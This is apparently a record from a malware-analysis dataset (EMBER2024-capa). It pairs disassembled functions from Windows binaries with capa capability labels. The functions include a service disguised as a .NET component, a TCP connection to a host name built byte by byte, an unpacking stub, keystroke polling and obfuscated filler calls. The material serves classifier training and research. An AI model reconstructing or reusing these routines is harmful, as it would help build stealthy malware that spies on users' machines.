joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x90
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.dHR5YXVzeGF0enphdHZ1bXZ5enpD
stosb byte es:[edi], al
call fcn.00401890
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40488c
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
test eax, eax
je 0x401bb1
mov esi, dword [sym.imp.MSVCRT.dll_strcspn]
mov ecx, 0x20
xor eax, eax
mov edi, 0x4040dc
lea edx, [esp + 0x18]
push 0x40488c
rep stosd dword es:[edi], eax
push edx
call esi
push eax
lea eax, [esp + 0x24]
push eax
push 0x4040dc
call dword [sym.imp.MSVCRT.dll_strncpy]
lea ecx, [esp + 0x2c]
push 0x40488c
push ecx
call esi
lea eax, [esp + eax + 0x35]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x20
mov dword [0x40415c], eax
mov dx, word [0x40415c]
mov word [esp + 8], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0x4040dc
mov word [esp + 0xe], ax
call fcn.00401020
add esp, 4
mov dword [esp + 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [esp + 8]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401c10
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x90
ret
mov eax, esi
pop edi
pop esi
add esp, 0x90
ret

Function at 0x401c20
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
lea eax, [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
push 4
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401c75
push eax
lea ecx, [esp + 0x1c]
push eax
push ecx
push eax
push eax
lea edx, [esp + 0x18]
push 0xc
push edx
push 0x98000004
push esi
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 0x2bf20
mov dword [esp + 0x30], 0x2710
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop esi
add esp, 0xc
ret
Function at 0x402040
Capabilities:
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x2c0
push ebx
push ebp
push esi
push edi
call dword [sym.imp.USER32.dll_GetInputState]
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x28]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x3c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x40]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00402160
test eax, eax
je 0x402134
lea edx, [esp + 0x10]
mov dword [esp + 0x10], str..Net_CLR
push edx
mov dword [esp + 0x18], 0x401df0
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [esp + 0x140]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x401c80
push 0
push 0
call edi
push 0xffffffffffffffff
push eax
mov dword [0x404998], eax
call ebx
mov ecx, dword [0x404998]
push ecx
call ebp
mov edx, dword [0x404968]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x12c
mov dword [0x404054], 1
call esi
jmp 0x4020f0
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Framework_COM_Support
push str..Net_CLR
call fcn.00402200
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402530
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x20
push esi
push 0x4d6c
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
mov al, 0x68
mov byte [esp + 5], al
mov byte [esp + 6], al
mov al, 0x2e
mov byte [esp + 4], 0x6c
mov byte [esp + 7], al
mov byte [esp + 0xd], al
lea eax, [esp + 4]
mov byte [esp + 8], 0x34
push eax
mov byte [esp + 0xd], 0x30
mov byte [esp + 0xe], 0x6b
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x10], 0x6d
mov byte [esp + 0x12], 0x63
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], 0
call fcn.00401020
add esp, 4
mov dword [esp + 0x18], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x14]
mov esi, eax
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4025cd
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x20
ret
mov eax, esi
pop esi
add esp, 0x20
ret
Function at 0x4e3980
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x37e000
lea edi, [esi - 0x8d000]
push edi
jmp 0x4e399a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4e39a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e3990
mov eax, 1
add ebx, ebx
jne 0x4e39b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4e39c4
jne 0x4e39e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e39e3
dec eax
add ebx, ebx
jne 0x4e39d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4e39a8
add ebx, ebx
jne 0x4e39df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4e3a35
xor ecx, ecx
sub eax, 3
jb 0x4e39fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4e3a6a
sar eax, 1
mov ebp, eax
jmp 0x4e3a06
add ebx, ebx
jne 0x4e3a06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e39d4
inc ecx
add ebx, ebx
jne 0x4e3a14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e39d4
add ebx, ebx
jne 0x4e3a21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4e3a16
jne 0x4e3a32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e3a16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4e3a54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4e3a46
jmp 0x4e3996
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4e3a54
add edi, ecx
jmp 0x4e3996
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4e3a72
cmp byte [edi], 0x11
jne 0x4e3a72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4e3a77
lea edi, [esi + 0xdc000]
mov eax, dword [edi]
or eax, eax
je 0x4e3aef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeeb80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeecfc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4e3aa4
mov ecx, edi
jns 0x4e3ad3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeed00]
or eax, eax
je 0x4e3ae9
mov dword [ebx], eax
add ebx, 4
jmp 0x4e3ac1
call dword [esi + 0xeed10]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4e3b20
cmp al, 0xef
ja 0x4e3b13
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4e3af5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4e3b02
mov ebp, dword [esi + 0xeed04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4e3b54
sub esp, 0xffffff80
jmp 0x427f4a
Function at 0x4099ad
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
movzx eax, byte [ebp + 0x34]
test eax, eax
je 0x409b24
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x84]
movzx eax, byte [eax]
test eax, eax
je 0x409b14
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x409a49
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x409b12
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x50]
cmp dword [eax], 0
je 0x409b09
mov eax, dword [ebp - 4]
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x58]
cmp eax, dword [ecx]
jne 0x409ab0
mov dword [ebp - 0xc], 1
jmp 0x409ab4
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x10]
imul eax, dword [eax], 0x849b
cmp dword [ebp - 0xc], eax
jg 0x409ad0
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x409ad0
and dword [ebp - 8], 0
jmp 0x409ad7
mov dword [ebp - 8], 1
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 8], eax
jne 0x409af2
mov dword [ebp - 0x14], 1
jmp 0x409af6
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x68]
mov dword [eax], 0xfffffff6
jmp 0x409b22
push 0
push 0x365b
call fcn.0042119e
pop ecx
pop ecx
jmp 0x409b49
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x80], eax
push 1
push dword [ebp - 0x70]
push dword [ebp - 0x78]
push dword [ebp - 0x80]
call fcn.004084ef
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x413091
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x4130ce
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 1
push 0x5f39
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00413195
add esp, 0x14
jmp 0x413191
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x413164
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x413155
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x413128
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jg 0x413153
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 1
push 0xde1
push 0x2880
lea eax, [ebp - 0x2c]
push eax
call fcn.004209b6
add esp, 0x14
jmp 0x41311d
jmp 0x413162
push 0
push 0x2308
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x413191
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
push 0x18d8
push 0x2571
push 1
push dword [ebp - 0x34]
push 1
push 0x5adb
push 0
push 1
push 0x513e
call fcn.0040a08a
add esp, 0x24
mov esp, ebp
pop ebp
ret
Function at 0x4135b1
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x4136cb
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x413696
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x41363a
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x413638
push 0x8c2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x413694
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x413668
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jg 0x413694
push 0
push 0x15a5
push 1
push 0x19d9
push dword [ebp - 0x3c]
push 0
push 1
push 0x3da7
call fcn.0041f513
add esp, 0x20
jmp 0x41365d
jmp 0x4136c9
push 1
push 0x1c28
push 0x6ac2
push 0x6af8
push 1
push 0
push 0x1d4b
push 0
push 0x438d
push 0x70db
push 0x5e50
call fcn.004202bc
add esp, 0x2c
jmp 0x4136f9
lea eax, [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
push eax
push 0x7fe
push dword [ebp - 0x44]
push dword [ebp - 0x48]
push 0
call fcn.0041628b
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x41533f
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 8]
test eax, eax
je 0x415360
push 1
push 0x65e6
call fcn.004153fa
pop ecx
pop ecx
jmp 0x4153f6
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x4153ee
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x4153aa
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x4153ec
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0xfffffffc
jmp 0x4153d8
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0x16
jge 0x4153ec
mov eax, dword [ebp - 0x2c]
cmp dword [eax], 0
je 0x4153ea
jmp 0x4153ec
jmp 0x4153cd
jmp 0x4153f6
push 0
call fcn.00411f9e
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x4168a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x4168e5
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
push eax
push 1
push dword [ebp - 8]
push 0xdd8
push 0x5671
call fcn.0041699c
add esp, 0x14
jmp 0x416998
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x416979
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x416927
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x416977
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x416977
push 1
push 0x7341
push 0x4cef
push 1
push 1
push 0x111b
push 0x3ebe
push 0
push 0x4f8c
push 0x5ba5
push 1
push 0x723c
push 0xc82
call fcn.00415b33
add esp, 0x34
jmp 0x416998
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
push 1
push 0x6a9d
push dword [ebp - 0x2c]
push 0x72ce
push 1
call fcn.004085bf
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x41702e
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x4170b3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x417072
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 0xc]
push 0x10f0
call fcn.00417202
add esp, 0xc
jmp 0x4170b1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x417093
push 0x32e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x4170b1
push 0xe03
push 0x283
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x4170cf
lea eax, [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
push eax
push 0
push 0x6f45
call fcn.00417014
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x41bf98
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x41c006
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x41bfcc
push 1
push 0x533e
call fcn.0041c028
pop ecx
pop ecx
jmp 0x41c004
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x41bffc
push 1
push 0x8fe
push 0x2e2
push 0x1bc9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
jmp 0x41c004
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x41c024
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push dword [eax]
push dword [ebp - 0x14]
push 1
call fcn.004092eb
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x41c0af
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x41c168
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x41c13c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x41c115
mov byte [ebp - 1], 0
push 1
push 0x427f
push 0x6605
push 1
push 1
lea eax, [ebp - 1]
push eax
call fcn.0041aa71
add esp, 0x18
jmp 0x41c13a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x41c13a
push 0x32e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x41c163
push 0x1db4
push 0x90b
push 1
push 1
push 0x60ef
push 0x2645
push 0x5374
push 0
call fcn.00408d58
add esp, 0x20
jmp 0x41c223
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x28]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x41c1a4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x30]
push 1
call fcn.00408a24
pop ecx
pop ecx
jmp 0x41c223
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
test eax, eax
je 0x41c20c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x41c1ee
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 2
jg 0x41c20a
push 0x1167
push dword [ebp - 0x54]
push 0
call fcn.0041f60f
add esp, 0xc
jmp 0x41c1e3
jmp 0x41c223
mov byte [ebp - 2], 0
push 0x547a
lea eax, [ebp - 2]
push eax
push 0
call fcn.00409d00
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x41ced2
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x41cfb2
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x41cf67
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x41cf54
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x41cf52
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
jmp 0x41cf65
push 0x1b32
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x41cfb0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
